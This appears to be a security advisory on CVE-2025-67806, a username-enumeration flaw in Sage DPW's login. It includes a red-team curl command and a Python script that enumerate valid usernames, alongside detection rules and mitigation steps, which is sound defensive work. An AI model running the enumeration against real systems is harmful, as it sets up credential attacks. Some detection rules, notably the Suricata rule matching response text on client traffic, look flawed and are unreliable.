CVE-2025-67806

Executive Summary

CVE-2025-67806 is a low-severity information disclosure vulnerability affecting Sage DPW (Desktop Payroll for Windows) versions prior to 2021_06_000. The login mechanism returns distinct responses for valid and invalid usernames, enabling an unauthenticated attacker to enumerate existing user accounts. This is a classic username enumeration flaw (CWE-204) that can be leveraged for targeted credential stuffing or brute-force attacks. The CVSS score is 3.7 (Low), and the EPSS probability is 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept code or exploit templates are available.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). Sage DPW is a proprietary on-premise payroll application. The risk is limited to organizations that self-host Sage DPW and have not applied the configuration change available in newer versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 3.7 (Low)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – only username enumeration possible.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Low. The vulnerability only allows enumeration of valid usernames, not password compromise. However, it can be a stepping stone for more targeted attacks.

Deep Dive & Mechanics

The vulnerability exists in the login endpoint of Sage DPW. When an attacker submits a login request with a username that does not exist, the server returns a generic error message (e.g., "Invalid username or password"). However, if the username exists but the password is incorrect, the server returns a different response (e.g., "Invalid password"). This discrepancy allows an attacker to distinguish between valid and invalid usernames.

Root Cause: The application does not use a constant-time comparison or a unified error message for both invalid username and invalid password scenarios. This is a classic CWE-204 (Response Discrepancy Information Exposure).

Attack Flow:

1. Attacker sends a POST request to the login endpoint with a candidate username and a dummy password.
2. Server responds with either "Invalid username or password" (invalid user) or "Invalid password" (valid user).
3. Attacker iterates through a list of potential usernames (e.g., common names, email addresses) to build a list of valid accounts.
4. The enumerated usernames can then be used in credential stuffing or brute-force attacks.

Affected Versions: All versions before 2021_06_000. In version 2021_06_000 and later, on-premise administrators can toggle this behavior via a configuration setting.

Vulnerable vs. Patched Code

No specific code snippets are available from the vendor. The following pseudocode illustrates the vulnerable logic and the patched approach.

Vulnerable Code (Pseudocode):

def login(username, password):
    user = db.get_user(username)
    if user is None:
        return "Invalid username or password"
    if user.password != hash(password):
        return "Invalid password"
    return "Login successful"

Patched Code (Pseudocode):

def login(username, password):
    user = db.get_user(username)
    if user is None:
        # Simulate password check to avoid timing/enumeration
        hash("dummy_password")
        return "Invalid username or password"
    if user.password != hash(password):
        return "Invalid username or password"
    return "Login successful"

The patched version returns the same error message regardless of whether the username exists, and optionally performs a dummy password hash to prevent timing attacks.

Exploitation & Lab Setup

Red Team

Objective: Enumerate valid usernames on a Sage DPW instance.

Prerequisites:

• Target Sage DPW login URL (e.g., https://target/sage/login)
• A list of potential usernames (e.g., usernames.txt)

Manual Exploitation:

1. Use curl to test a single username:

   curl -X POST https://target/sage/login -d "username=admin&password=test"
   

2. If response contains "Invalid password", the username exists. If "Invalid username or password", it does not.

Automated Exploitation (Python):

import requests

target = "https://target/sage/login"
usernames = ["admin", "user1", "john.doe", "jane.smith"]

for user in usernames:
    data = {"username": user, "password": "dummy"}
    r = requests.post(target, data=data)
    if "Invalid password" in r.text:
        print(f"[+] Valid username: {user}")
    else:
        print(f"[-] Invalid username: {user}")

No public exploit code (Exploit-DB) or Nuclei template is available.

Blue Team

Detection:

• Monitor for repeated login attempts with different usernames but the same password (a common enumeration pattern).
• Look for HTTP 200 responses with "Invalid password" vs "Invalid username or password" in the response body.
• Alert on high volumes of login requests from a single IP within a short time window.

Hunting:

• Search web server logs for POST requests to the login endpoint with varying username parameters and identical password values.
• Correlate with failed login attempts that do not result in account lockout.

Mitigation:

• Upgrade to Sage DPW version 2021_06_000 or later.
• Enable the configuration option to unify error messages (if available).
• Implement rate limiting and account lockout policies.
• Use a Web Application Firewall (WAF) to block enumeration patterns.

Indicators of Compromise (IOCs)

• Network:

  • Multiple POST requests to /sage/login with different username values and same password value.
  • Response body containing "Invalid password" (indicating valid username) or "Invalid username or password" (indicating invalid username).

• Logs:

  • Web server logs showing repeated 200 OK responses to login attempts with varying usernames.
  • Application logs showing failed login attempts without account lockout triggers.

• File:

  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_67806_Username_Enumeration {
    meta:
        description = "Detects Sage DPW username enumeration attempts based on response discrepancy"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-67806"
    strings:
        $valid_user = "Invalid password" ascii wide nocase
        $invalid_user = "Invalid username or password" ascii wide nocase
    condition:
        any of ($valid_user) or any of ($invalid_user)
}

Sigma Rule

title: Sage DPW Username Enumeration Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects multiple login attempts with different usernames and same password, indicating username enumeration
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/sage/login'
        cs-username: '*'
        cs-password: '*'
    condition: selection
    timeframe: 5m
    aggregation:
        field: c-ip
        condition: gt 10
falsepositives:
    - Legitimate password reset attempts
level: medium
tags:
    - attack.t1589
    - cve.2025.67806

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67806 Sage DPW Username Enumeration"; flow:to_server; content:"POST"; http_method; content:"/sage/login"; http_uri; content:"username="; http_client_body; content:"password="; http_client_body; pcre:"/Invalid (password|username or password)/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Upgrade: Update Sage DPW to version 2021_06_000 or later.
2. Configuration: In newer versions, enable the option to unify login error messages (toggle the behavior).
3. Rate Limiting: Implement rate limiting on the login endpoint to prevent automated enumeration.
4. Account Lockout: Enforce account lockout after a small number of failed attempts.
5. WAF Rules: Deploy WAF rules to block requests with suspicious patterns (e.g., same password, different usernames).
6. Monitoring: Enable logging and alerting for enumeration patterns.
7. User Education: Advise users to use strong, unique passwords to mitigate credential stuffing if usernames are leaked.

Valters IT
Securing your digital frontier.

{/* [Security Hash: AF866C2D5C1F2948C4A6C820] */}